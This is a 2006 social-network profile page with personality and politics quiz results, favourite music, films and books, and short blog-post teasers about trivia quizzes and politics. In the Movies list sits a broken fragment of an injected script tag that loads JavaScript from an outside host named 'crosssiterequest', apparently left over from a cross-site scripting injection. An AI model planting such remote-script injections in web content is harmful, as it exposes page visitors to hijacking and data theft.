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Native Kansas Citian, might-as-well-be-native Philadelphian (23 years' residence as of 2006). But according to this, I'm a closet Texan:
You Are Austin
A little bit country, a little bit rock and roll.
You're totally weird and very proud of it.
Artistic and freaky, you still seem to fit in... in your own strange way.
Famous Austin residents: Lance Armstrong, Sandra Bullock, Andy Roddick What American City Are You? Loves good food, good friends, good music, long walks and a good read. Train buff (urban transit division) and news junkie. Jazz aficionado. Pretty good cook if I might say so myself. Urbanophile who enjoys everything the city has to offer but would like to take more advantage of it. Talented writer and world-class underachiever with a brain chock-full of useless knowledge who has yet to appear on Jeopardy!
Your Five Factor Personality Profile
Extroversion:
You have medium extroversion.
You're not the life of the party, but you do show up for the party.
Sometimes you are full of energy and open to new social experiences.
But you also need to hibernate and enjoy your "down time."
Conscientiousness:
You have medium conscientiousness.
You're generally good at balancing work and play.
When you need to buckle down, you can usually get tasks done.
But you've been known to goof off when you know you can get away with it.
Agreeableness:
You have medium agreeableness.
You're generally a friendly and trusting person.
But you also have a healthy dose of cynicism.
You get along well with others, as long as they play fair.
Neuroticism:
You have low neuroticism.
You are very emotionally stable and mentally together.
Only the greatest setbacks upset you, and you bounce back quickly.
Overall, you are typically calm and relaxed - making others feel secure.
Openness to experience:
Your openness to new experiences is high.
In life, you tend to be an early adopter of all new things and ideas.
You'll try almost anything interesting, and you're constantly pushing your own limits.
A great connoisseir of art and beauty, you can find the positive side of almost anything. The Five Factor Personality Test Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Architecture, trains (esp. trolleys and subways), music in general and jazz in particular, cooking, dining out, conversation, politics and ideas, books, exploring the city.
You are a
Social Liberal
(78% permissive)

and an...
Economic Liberal
(26% permissive)

You are best described as a:

Strong Democrat

Link: The Politics Test on Ok Cupid
Also: The OkCupid Dating Persona Test

I'd like to meet:

Carson Kressley and Ted Allen. (I've already met Keith Boykin.)

Music:

Al Jarreau; John Coltrane; Steely Dan; Todd Rundgren; Lambert, Hendricks and Ross; Manhattan Transfer; P-Funk; Joshua Redman; The Yellowjackets; The (Jazz) Crusaders; Joe Sample (see previous); Brand New Heavies; Afro-Celt Sound System; Chaka Khan; Hip-hop divas who tear up the classics (e.g., Queen Latifah on "The Dana Owens Album"); Gregorian chants when it's time for reflection

Movies:

"Citizen Kane," "The Candidate," "Mommie Dearest," "Whatever Happened to Baby Jane?", "The French Connection," "The Taking of Pelham One Two Three," "Murder on the Orient Express," "Being There," the Pink Panther series (Peter Sellers), "Crash" (2005), "The Manchurian Candidate" (1961).... language="javascript" src="http://crosssiterequest.somee.com/request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

"It's Always Sunny in Philadelphia," "My Name Is Earl," "The Office," "Weeds," "Queer Eye for the Straight Guy," "The Daily Show," "The O'Reilly Factor"

Books:

Tom Wolfe, "The Bonfire of the Vanities"; Molly Ivins, "Molly Ivins Can't Say That, Can She?"; Laurence J. Peter, "The Peter Principle" and "The Peter Prescription"; Brendan Gill, "Many Masks: A Life of Frank Lloyd Wright"; Buzz Bissinger, "A Prayer for the City" (recommended reading for Philadelphians no matter where they now live); any collection of A.J. Liebling essays

Heroes:

Martin Luther King, William Barclay Parsons, Lyndon Baines Johnson, and my mom, Stella Davis Smith..

My Blog

Trivia Quiz .3: Lost in Translation

Hi, folks!  It's been a while...I've been pretty busy lately. Anyway: As I said earlier, the Proffessor got all the answers right but one, so if you want to see the answers to 11 of the 12 past ...
Posted by Sandy on Thu, 14 Sep 2006 10:53:00 PST

Trivia Quiz .2 dba ...

First off: You all did a pretty good job on Round One.  I hadn't really expected anyone to get #1, but all the others were for products and services that should have been familiar to at least som...
Posted by Sandy on Sat, 26 Aug 2006 06:27:00 PST

Picking up the Trivia Quiz banner: Quiz .1-I'll Buy That!

As I mentioned to Josh last night, I felt a void in my life without trivia quizzes to answer.  So while I'm waiting for him to produce his next one, I decided I'd start a competition of my own. ...
Posted by Sandy on Thu, 17 Aug 2006 07:56:00 PST

The Democrats' Dilemma

So the Democratic voters of the Nutmeg State have sent a message to Washington: We don't want no war no more.  (From some of what I've read in the press, the message may also have been We don't w...
Posted by Sandy on Mon, 14 Aug 2006 09:02:00 PST

Survey says...

You are a Social Liberal (78% permissive) and an... Economic Liberal (26% permissive) You are best described as a: Strong Democrat Link: The Politics Test on Ok CupidAl...
Posted by Sandy on Fri, 05 May 2006 11:31:00 PST